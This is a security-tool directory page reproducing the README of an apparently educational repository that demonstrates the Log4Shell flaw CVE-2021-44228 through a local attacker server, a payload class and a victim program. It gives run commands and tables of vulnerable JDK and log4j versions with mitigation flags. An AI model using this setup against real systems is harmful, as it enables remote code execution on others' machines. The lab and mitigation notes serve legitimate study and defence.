Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
sample-ldap-exploit — A short demo of CVE-2021-44228 | Kitploit
Tools/GitHubGitHub/phoswald/sample-ldap-exploit
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationPayload DevelopmentLabs & PracticeArchived
GitHubphoswald/sample-ldap-exploit

sample-ldap-exploit

A short demo of CVE-2021-44228

View Repository
5214 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

sample-ldap-exploit

A short demo of CVE-2021-44228

Build

root@kitploit:~
$ mvn clean verify

Run Attacker

root@kitploit:~
$ java \
  -cp 'attacker/target/sample-attacker.jar:attacker/target/lib/*' \
  sample.attacker.Attacker localhost 1389 sample.payload.Payload 8080 payload/target/sample-payload.jar

URLs:

  • http://localhost:8080/
  • http://localhost:8080/sample/payload/Payload.class

Run Victim

root@kitploit:~
$ java \
  -cp 'victim/target/sample-victim.jar:victim/target/lib/*' \
  sample.victim.Victim

Results

JDK / JRE

Download Tool
VersionStatus
Oracle JDK 8u5vulnerable
OpenJDK 8u312NOT vulnerable (unless -Dcom.sun.jndi.ldap.object.trustURLCodebase=true)
IBM OpenJDK 8u312-b07 (OpenJ9)NOT vulnerable (unless -Dcom.sun.jndi.ldap.object.trustURLCodebase=true)
OpenJDK 11.0.7+10NOT vulnerable (unless -Dcom.sun.jndi.ldap.object.trustURLCodebase=true)
OpenJDK 11.0.13+8NOT vulnerable (unless -Dcom.sun.jndi.ldap.object.trustURLCodebase=true)
OpenJDK 16+36NOT vulnerable (unless -Dcom.sun.jndi.ldap.object.trustURLCodebase=true)
OpenJDK 17+35NOT vulnerable (unless -Dcom.sun.jndi.ldap.object.trustURLCodebase=true)
OpenJDK 17.0.1+12NOT vulnerable (unless -Dcom.sun.jndi.ldap.object.trustURLCodebase=true)

If NOT vulnerable, an instance of javax.naming.Reference is returned from javax.naming.Context.lookup().

If NOT vulnerable to loading classes from remote code bases, other Java deserialization vulnerabilities probably still exist!

log4j

VersionStatus
2.9.1vulnerable
2.10.0vulnerable (unless -Dlog4j2.formatMsgNoLookups=true or environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS=true)
2.14.1vulnerable (unless -Dlog4j2.formatMsgNoLookups=true or environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS=true)
2.15.0NOT vulnerable

If NOT vulnerable, ${jndi:ldap:...} is NOT resolved.